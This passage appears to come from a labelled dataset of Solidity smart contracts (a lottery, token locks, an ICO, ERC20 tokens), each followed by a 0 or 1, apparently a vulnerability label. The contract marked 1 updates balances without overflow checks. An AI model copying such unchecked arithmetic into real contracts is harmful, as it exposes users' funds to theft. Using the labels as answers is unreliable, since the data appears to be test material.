require(to.length >= minLength); uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function safeMemoryCleaner() internal pure { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "sender is not owner"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "newOwner addres is zero"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lottery is Ownable, usingOraclize, SafeMath { modifier onlyDrawer() { require(msg.sender == drawerAddress || msg.sender == owner, "sender is not drawerAddress"); _; } modifier isAddressZero { require(msg.sender != address(0), "new address is zero"); _; } struct Game { uint endTime; uint ticketPrice; uint accumJackpotAmounts; bytes winningNumbers; bytes32 queryId; Ticket[] tickets; string hashString; mapping (byte => bool) winNumMapping; mapping (address => uint) playerTicketCount; mapping (uint => uint) winPlayersCount; mapping (uint => bool) winners; } struct Ticket { uint256 time; address player; bytes numbers; } address public adminAddress; address public drawerAddress; address public feeAddress; bool public gameStatus; uint public adminFee; uint public gameNumber; uint public numbersStart; uint public numbersCount; uint public numbersCountMax; uint public ticketPrice; uint public prizeStart; uint public prizeNumCount; uint[] public winPercent; uint public orclizeGasPrice; mapping (uint => Game) public games; event LogBuyTicket(uint _time, address _player, bytes _numbers, uint _count, uint _ticketTotalCount); event LogEndGameBegin(bool _success); event LogEndGameSuccess(bool _success); event LogEndGameFail(bool _success); event LogStartNewGame(bool _start, uint _gameNumber, bytes _winNumbers); constructor() public payable { oraclize_setProof(proofType_Ledger); numbersStart = 1; numbersCount = 5; numbersCountMax = 25; ticketPrice = .01 ether; winPercent = [0, 0, 0, 20, 20, 60]; prizeStart = 3; prizeNumCount = 3; adminAddress = msg.sender; drawerAddress = msg.sender; feeAddress = msg.sender; adminFee = 10; gameStatus = true; games[gameNumber].ticketPrice = ticketPrice; orclizeGasPrice = 400000; } function setAdminAddress(address _admin) public onlyOwner isAddressZero { adminAddress = _admin; } function setDrawerAddress(address _drawer) public onlyOwner isAddressZero { drawerAddress = _drawer; } function setFeeAddress(address _feeAddr) public onlyOwner isAddressZero { feeAddress = _feeAddr; } function setAdminFee(uint _fee) public onlyOwner isAddressZero { require(_fee >= 0, "Fee is under 0"); adminFee = _fee; } function setTicketPrice(uint _price) public onlyOwner isAddressZero { require(_price >= 0, "Price is under 0"); ticketPrice = _price; } function kill() public onlyOwner isAddressZero { selfdestruct(owner); } function startGame(uint _carryOverJackpot, uint[] _totalWinCount) external onlyDrawer { for(uint i = prizeStart; i < numbersCount + 1; i++) { if(0 < _totalWinCount[i]) { games[gameNumber].winPlayersCount[i] = _totalWinCount[i]; } } gameNumber++; games[gameNumber].ticketPrice = ticketPrice; games[gameNumber].accumJackpotAmounts = _carryOverJackpot; gameStatus = true; emit LogStartNewGame(gameStatus, gameNumber-1, games[gameNumber-1].winningNumbers); } function endGame() external onlyDrawer { gameStatus = false; uint numberOfBytes = 28; uint delay = 0; uint callbackGas = orclizeGasPrice; games[gameNumber].queryId = oraclize_newRandomDSQuery(delay, numberOfBytes, callbackGas); emit LogEndGameBegin(true); } function buyTicket(bytes _ticketNumber, uint _ticketCount) external payable { require(gameStatus, "game is processing sth"); require(_ticketCount > 0, "ticket count should be not under 0"); require(msg.value == mul(ticketPrice, _ticketCount), "ticket price is not equal"); require(_ticketNumber.length == mul(numbersCount, _ticketCount), "ticket number`s length is not match"); bytes memory pickNumbers = new bytes(numbersCount); for(uint i = 0; i < _ticketCount; i++) { for(uint j = 0; j < numbersCount; j++) { pickNumbers[j] = _ticketNumber[j + (numbersCount * i)]; require(checkPickNumbers(pickNumbers[j]), "player`s pick number is wrong"); } require(checkDuplicates(pickNumbers), "Lottery Numbers are duplicated"); games[gameNumber].tickets.push(Ticket(block.timestamp, msg.sender, pickNumbers)); games[gameNumber].playerTicketCount[msg.sender]++; } emit LogBuyTicket(block.timestamp, msg.sender, _ticketNumber, _ticketCount, games[gameNumber].tickets.length); } function getGameHistory(uint _gameNumber) external view returns ( uint endTime, uint accumJackpot, uint ticketCount, uint adminFee, uint[] winningPercent, uint[] winPlayersCount, uint[] winNumbers ) { require(0 <= _gameNumber && _gameNumber <= gameNumber, "game number is error"); Ticket[] memory tickets = games[_gameNumber].tickets; winNumbers = new uint[](numbersCount); winningPercent = new uint[](numbersCount + 1); winPlayersCount = new uint[](numbersCount + 1); uint numbersIndex; endTime = games[_gameNumber].endTime; ticketCount = tickets.length; winningPercent = winPercent; accumJackpot = games[_gameNumber].accumJackpotAmounts; adminFee = adminFee; for(uint i = 1; i < numbersCountMax + 1; i++) { if(games[_gameNumber].winNumMapping[byte(i)]) { winNumbers[numbersIndex++] = i; } } for(i = prizeStart; i < numbersCount + 1; i++) { winPlayersCount[i] = games[_gameNumber].winPlayersCount[i]; } } function getPlayerAllTickets(address _player, uint _start, uint _end) external view returns ( uint[] winNumbers, uint[] myTickets ) { require(_player != address(0),"address should be not 0"); winNumbers = new uint[]((_end - _start) * numbersCount); uint winNumbersIndex; uint playerTicketIndex; uint playerTicketCount; for(uint i = _start; i < _end; i++) { playerTicketCount += games[i].playerTicketCount[_player]; for(uint j = 1; j < numbersCountMax + 1; j++) { if(games[i].winNumMapping[byte(j)]) { winNumbers[winNumbersIndex++] = j; } } } myTickets = new uint[](playerTicketCount * (numbersCount + 1)); for(i = _start; i < _end; i++) { for(j = 0; j < games[i].tickets.length; j++) { if(games[i].tickets[j].player == _player) { myTickets[playerTicketIndex++] = i; for(uint k = 0; k < numbersCount; k++) { myTickets[playerTicketIndex++] = uint(games[i].tickets[j].numbers[k]); } } } } } function getPlayerTickets(address _player, uint _gameNumber) external view returns ( uint[] time, uint[] numbers ) { require(_player != address(0),"address should be not 0"); require(0 <= _gameNumber && _gameNumber <= gameNumber, "game number is error"); Ticket[] memory tickets = games[_gameNumber].tickets; numbers = new uint[](games[_gameNumber].playerTicketCount[_player] * numbersCount); time = new uint[](games[_gameNumber].playerTicketCount[_player]); uint timeIndex; uint numbersIndex; for(uint i = 0; i < tickets.length; i++) { if(tickets[i].player == _player) { time[timeIndex++] = tickets[i].time; for(uint k = 0; k < numbersCount; k++) { numbers[numbersIndex++] = uint(tickets[i].numbers[k]); } } } } function getGameWinners(uint _gameNumber) external view returns ( address[] player, uint[] time, uint[] numbers ) { require(0 <= _gameNumber && _gameNumber <= gameNumber, "game number is error"); uint length; for(uint i = prizeStart; i < numbersCount + 1; i++){ length += games[_gameNumber].winPlayersCount[i]; } Ticket[] memory tickets = games[_gameNumber].tickets; player = new address[](length); time = new uint[](length); numbers = new uint[](length * numbersCount); uint index; uint numbersIndex; for(i = 0; i < tickets.length; i++) { if(games[_gameNumber].winners[i]) { player[index] = tickets[i].player; time[index++] = tickets[i].time; for(uint k = 0; k < numbersCount; k++) { numbers[numbersIndex++] = uint(tickets[i].numbers[k]); } } } } function getGameDetails(uint _gameNumber) external view returns ( uint endTime, uint ticketPrice, uint ticketCount, uint accumJackpot, uint[] gameReward, uint[] numbers ) { require(_gameNumber >= 0, "Game Number should be over 0"); numbers = new uint[](numbersCount); gameReward = new uint[](numbersCount + 1); uint index; endTime = games[_gameNumber].endTime; ticketPrice = games[_gameNumber].ticketPrice; ticketCount = games[_gameNumber].tickets.length; accumJackpot = games[_gameNumber].accumJackpotAmounts; gameReward = winPercent; for(uint i = 1; i < numbersCountMax + 1; i++) { if(games[_gameNumber].winNumMapping[byte(i)]) { numbers[index++] = i; } } } function __callback(bytes32 _queryId, string _result, bytes _proof) public { require(msg.sender == oraclize_cbAddress(), "Should be eqaul to request"); if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) { if(games[gameNumber].queryId == _queryId) { games[gameNumber].endTime = block.timestamp; uint jackpot = (games[gameNumber].tickets.length * games[gameNumber].ticketPrice); if(jackpot > 0) { feeAddress.transfer((jackpot * adminFee) / 100); } games[gameNumber].hashString = _result; games[gameNumber].winningNumbers = generateRandom(games[gameNumber].hashString, numbersCount, numbersCountMax); for (uint i = 0; i < games[gameNumber].winningNumbers.length; i++) { games[gameNumber].winNumMapping[games[gameNumber].winningNumbers[i]] = true; } emit LogEndGameSuccess(true); } } else { emit LogEndGameFail(false); } } function getGameDrawInfos() external view returns ( uint carryOverJackpot, uint totalTicketCount, uint totalWinPlayersCount, uint[] totalWinCount, uint[] playersAmounts ) { uint jackpotAmounts = (games[gameNumber].tickets.length * games[gameNumber].ticketPrice) + games[gameNumber].accumJackpotAmounts; jackpotAmounts -= ((games[gameNumber].tickets.length * games[gameNumber].ticketPrice) * adminFee) / 100; totalWinCount = new uint[](numbersCount + 1); playersAmounts = new uint[](numbersCount + 1); uint winNumberCount; uint sendedJackpotAmounts; for(uint i = 0; i < games[gameNumber].tickets.length; i++) { for (uint k = 0; k < games[gameNumber].winningNumbers.length; k++) { if(games[gameNumber].winNumMapping[games[gameNumber].tickets[i].numbers[k]]) { winNumberCount++; } } if(prizeStart <= winNumberCount) { totalWinCount[winNumberCount]++; totalWinPlayersCount++; } winNumberCount = 0; } for(i = prizeStart; i < numbersCount + 1; i++) { if(0 < totalWinCount[i]) { playersAmounts[i] = (jackpotAmounts * winPercent[i] / 100) / totalWinCount[i]; sendedJackpotAmounts += (jackpotAmounts * winPercent[i] / 100); } } carryOverJackpot = jackpotAmounts - sendedJackpotAmounts; totalTicketCount = games[gameNumber].tickets.length; } function getWinners(uint _start, uint _end) external view returns ( uint[] index, uint[] winCount ) { uint ticketIndex; uint winNumberCount; index = new uint[](getWinnersCount(_start, _end)); winCount = new uint[](getWinnersCount(_start, _end)); for(uint i = _start; i < _end; i++) { for (uint k = 0; k < games[gameNumber].winningNumbers.length; k++) { if(games[gameNumber].winNumMapping[games[gameNumber].tickets[i].numbers[k]]) { winNumberCount++; } } if(prizeStart <= winNumberCount) { index[ticketIndex] = i; winCount[ticketIndex++] = winNumberCount; } winNumberCount = 0; } } function () public payable { } function sendRewardToPlayers(uint[] _winnerIndex, uint[] _winReward) external onlyOwner { require(_winnerIndex.length > 0, "winner index is empty"); require(_winReward.length > 0, "win numbers count is empty"); for(uint i = 0; i < _winnerIndex.length; i++) { games[gameNumber].winners[_winnerIndex[i]] = true; games[gameNumber].tickets[_winnerIndex[i]].player.transfer(_winReward[i]); } } function generateRandom(string _stringHash, uint numbersCount, uint numbersCountMax) internal pure returns ( bytes ) { bytes32 random = keccak256(_stringHash); bytes memory allNumbers = new bytes(numbersCountMax); bytes memory winNumbers = new bytes(numbersCount); for (uint i = 0; i < numbersCountMax; i++) { allNumbers[i] = byte(i + 1); } for (i = 0; i < numbersCount; i++) { uint n = numbersCountMax - i; uint r = (uint(random[i * 4]) + (uint(random[i * 4 + 1]) << 8) + (uint(random[i * 4 + 2]) << 16) + (uint(random[i * 4 + 3]) << 24)) % n; winNumbers[i] = allNumbers[r]; allNumbers[r] = allNumbers[n - 1]; } return winNumbers; } function getWinnersCount(uint _start, uint _end) internal view returns (uint ret) { uint winNumberCount; for(uint i = _start; i < _end; i++) { for (uint k = 0; k < games[gameNumber].winningNumbers.length; k++) { if(games[gameNumber].winNumMapping[games[gameNumber].tickets[i].numbers[k]]) { winNumberCount++; } } if(prizeStart <= winNumberCount) { ret++; } winNumberCount = 0; } } function checkPickNumbers(byte _number) internal returns (bool) { if(numbersStart <= uint(_number) && uint(_number) <= numbersCountMax) { return true; } else { return false; } } function checkDuplicates(bytes _array) internal pure returns (bool) { for (uint i = 0; i < _array.length - 1; i++) { for (uint j = i + 1; j < _array.length; j++) { if (_array[i] == _array[j]) return false; } } return true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29980800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x0c656968912fF22c17ABf5E190498034542CC475; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.11; contract SafeMath { function mul(uint a, uint b) constant internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) constant internal returns (uint) { assert(b != 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) constant internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) constant internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function volumeBonus(uint etherValue) constant internal returns (uint) { if(etherValue >= 500000000000000000000) return 10; if(etherValue >= 300000000000000000000) return 7; if(etherValue >= 100000000000000000000) return 5; if(etherValue >= 50000000000000000000) return 3; if(etherValue >= 20000000000000000000) return 2; if(etherValue >= 10000000000000000000) return 1; return 0; } } contract AbstractToken { function totalSupply() constant returns (uint) {} function balanceOf(address owner) constant returns (uint balance); function transfer(address to, uint value) returns (bool success); function transferFrom(address from, address to, uint value) returns (bool success); function approve(address spender, uint value) returns (bool success); function allowance(address owner, address spender) constant returns (uint remaining); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Issuance(address indexed to, uint value); } contract IcoLimits { uint constant privateSaleStart = 1511740800; uint constant privateSaleEnd = 1512172799; uint constant presaleStart = 1512172800; uint constant presaleEnd = 1513987199; uint constant publicSaleStart = 1516320000; uint constant publicSaleEnd = 1521158399; uint constant foundersTokensUnlock = 1558310400; modifier afterPublicSale() { require(now > publicSaleEnd); _; } uint constant privateSalePrice = 4000; uint constant preSalePrice = 3000; uint constant publicSalePrice = 2000; uint constant privateSaleSupplyLimit = 600 * privateSalePrice * 1000000000000000000; uint constant preSaleSupplyLimit = 1200 * preSalePrice * 1000000000000000000; uint constant publicSaleSupplyLimit = 5000 * publicSalePrice * 1000000000000000000; } contract StandardToken is AbstractToken, IcoLimits { mapping (address => uint) balances; mapping (address => bool) ownerAppended; mapping (address => mapping (address => uint)) allowed; uint public totalSupply; address[] public owners; function transfer(address _to, uint _value) afterPublicSale returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; if(!ownerAppended[_to]) { ownerAppended[_to] = true; owners.push(_to); } Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint _value) afterPublicSale returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; if(!ownerAppended[_to]) { ownerAppended[_to] = true; owners.push(_to); } Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract ExoTownToken is StandardToken, SafeMath { string public constant name = "ExoTown token"; string public constant symbol = "SNEK"; uint public constant decimals = 18; address public icoContract = 0x0; modifier onlyIcoContract() { require(msg.sender == icoContract); _; } function ExoTownToken(address _icoContract) { require(_icoContract != 0x0); icoContract = _icoContract; } function burnTokens(address _from, uint _value) onlyIcoContract { require(_value > 0); balances[_from] = sub(balances[_from], _value); totalSupply -= _value; } function emitTokens(address _to, uint _value) onlyIcoContract { require(totalSupply + _value >= totalSupply); balances[_to] = add(balances[_to], _value); totalSupply += _value; if(!ownerAppended[_to]) { ownerAppended[_to] = true; owners.push(_to); } Transfer(0x0, _to, _value); } function getOwner(uint index) constant returns (address, uint) { return (owners[index], balances[owners[index]]); } function getOwnerCount() constant returns (uint) { return owners.length; } } contract ExoTownIco is SafeMath, IcoLimits { ExoTownToken public exotownToken; enum State { Pause, Running } State public currentState = State.Pause; uint public privateSaleSoldTokens = 0; uint public preSaleSoldTokens = 0; uint public publicSaleSoldTokens = 0; uint public privateSaleEtherRaised = 0; uint public preSaleEtherRaised = 0; uint public publicSaleEtherRaised = 0; address public icoManager; address public founderWallet; address public buyBack; address public developmentWallet; address public marketingWallet; address public teamWallet; address public bountyOwner; address public mediatorWallet; bool public sentTokensToBountyOwner = false; bool public sentTokensToFounders = false; modifier whenInitialized() { require(currentState >= State.Running); _; } modifier onlyManager() { require(msg.sender == icoManager); _; } modifier onIco() { require( isPrivateSale() || isPreSale() || isPublicSale() ); _; } modifier hasBountyCampaign() { require(bountyOwner != 0x0); _; } function isPrivateSale() constant internal returns (bool) { return now >= privateSaleStart && now <= privateSaleEnd; } function isPreSale() constant internal returns (bool) { return now >= presaleStart && now <= presaleEnd; } function isPublicSale() constant internal returns (bool) { return now >= publicSaleStart && now <= publicSaleEnd; } function getPrice() constant internal returns (uint) { if (isPrivateSale()) return privateSalePrice; if (isPreSale()) return preSalePrice; if (isPublicSale()) return publicSalePrice; return publicSalePrice; } function getStageSupplyLimit() constant returns (uint) { if (isPrivateSale()) return privateSaleSupplyLimit; if (isPreSale()) return preSaleSupplyLimit; if (isPublicSale()) return publicSaleSupplyLimit; return 0; } function getStageSoldTokens() constant returns (uint) { if (isPrivateSale()) return privateSaleSoldTokens; if (isPreSale()) return preSaleSoldTokens; if (isPublicSale()) return publicSaleSoldTokens; return 0; } function addStageTokensSold(uint _amount) internal { if (isPrivateSale()) privateSaleSoldTokens = add(privateSaleSoldTokens, _amount); if (isPreSale()) preSaleSoldTokens = add(preSaleSoldTokens, _amount); if (isPublicSale()) publicSaleSoldTokens = add(publicSaleSoldTokens, _amount); } function addStageEtherRaised(uint _amount) internal { if (isPrivateSale()) privateSaleEtherRaised = add(privateSaleEtherRaised, _amount); if (isPreSale()) preSaleEtherRaised = add(preSaleEtherRaised, _amount); if (isPublicSale()) publicSaleEtherRaised = add(publicSaleEtherRaised, _amount); } function getStageEtherRaised() constant returns (uint) { if (isPrivateSale()) return privateSaleEtherRaised; if (isPreSale()) return preSaleEtherRaised; if (isPublicSale()) return publicSaleEtherRaised; return 0; } function getTokensSold() constant returns (uint) { return privateSaleSoldTokens + preSaleSoldTokens + publicSaleSoldTokens; } function getEtherRaised() constant returns (uint) { return privateSaleEtherRaised + preSaleEtherRaised + publicSaleEtherRaised; } function ExoTownIco(address _icoManager) { require(_icoManager != 0x0); exotownToken = new ExoTownToken(this); icoManager = _icoManager; } function init( address _founder, address _dev, address _pr, address _team, address _buyback, address _mediator ) onlyManager { require(currentState == State.Pause); require(_founder != 0x0); require(_dev != 0x0); require(_pr != 0x0); require(_team != 0x0); require(_buyback != 0x0); require(_mediator != 0x0); founderWallet = _founder; developmentWallet = _dev; marketingWallet = _pr; teamWallet = _team; buyBack = _buyback; mediatorWallet = _mediator; currentState = State.Running; exotownToken.emitTokens(icoManager, 0); } function setState(State _newState) public onlyManager { currentState = _newState; } function setNewManager(address _newIcoManager) onlyManager { require(_newIcoManager != 0x0); icoManager = _newIcoManager; } function setBountyCampaign(address _bountyOwner) onlyManager { require(_bountyOwner != 0x0); bountyOwner = _bountyOwner; } function setNewMediator(address _mediator) onlyManager { require(_mediator != 0x0); mediatorWallet = _mediator; } function buyTokens(address _buyer) private { require(_buyer != 0x0); require(msg.value > 0); uint tokensToEmit = msg.value * getPrice(); uint volumeBonusPercent = volumeBonus(msg.value); if (volumeBonusPercent > 0) { tokensToEmit = mul(tokensToEmit, 100 + volumeBonusPercent) / 100; } uint stageSupplyLimit = getStageSupplyLimit(); uint stageSoldTokens = getStageSoldTokens(); require(add(stageSoldTokens, tokensToEmit) <= stageSupplyLimit); exotownToken.emitTokens(_buyer, tokensToEmit); addStageTokensSold(tokensToEmit); addStageEtherRaised(msg.value); distributeEtherByStage(); } function giftToken(address _to) public payable onIco { buyTokens(_to); } function () payable onIco { buyTokens(msg.sender); } function distributeEtherByStage() private { uint _balance = this.balance; uint _balance_div = _balance / 100; uint _devAmount = _balance_div * 65; uint _prAmount = _balance_div * 25; uint total = _devAmount + _prAmount; if (total > 0) { uint _mediatorAmount = _devAmount / 100; mediatorWallet.transfer(_mediatorAmount); developmentWallet.transfer(_devAmount - _mediatorAmount); marketingWallet.transfer(_prAmount); teamWallet.transfer(_balance - _devAmount - _prAmount); } } function withdrawEther(uint _value) onlyManager { require(_value > 0); require(_value * 1000000000000000 <= this.balance); icoManager.transfer(_value * 1000000000000000); } function sendTokensToBountyOwner() onlyManager whenInitialized hasBountyCampaign afterPublicSale { require(!sentTokensToBountyOwner); uint bountyTokens = getTokensSold() / 40; exotownToken.emitTokens(bountyOwner, bountyTokens); sentTokensToBountyOwner = true; } function sendTokensToFounders() onlyManager whenInitialized afterPublicSale { require(!sentTokensToFounders); require(now >= foundersTokensUnlock); uint founderReward = getTokensSold() / 10; exotownToken.emitTokens(founderWallet, founderReward); sentTokensToFounders = true; } function burnTokens(uint _amount) afterPublicSale { exotownToken.burnTokens(buyBack, _amount); } }
0
pragma solidity ^0.4.13; contract Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function transfer(address _to, uint256 _value) public returns (bool success) { address sender = msg.sender; require(balances[sender] >= _value); balances[sender] -= _value; balances[_to] += _value; Transfer(sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract GigaGivingToken is StandardToken { string public constant NAME = "Giga Coin"; string public constant SYMBOL = "GC"; uint256 public constant DECIMALS = 0; uint256 public constant TOTAL_TOKENS = 15000000; uint256 public constant CROWDSALE_TOKENS = 12000000; string public constant VERSION = "GC.2"; function GigaGivingToken () public { balances[msg.sender] = TOTAL_TOKENS; totalSupply = TOTAL_TOKENS; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30326400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x64d6746Cc5EdEebB69c0Af97f013Ccb185c576f6; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract BT is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "BT"; name = "Bishang Token"; decimals = 18; _totalSupply = 100000000 * 10 ** uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns 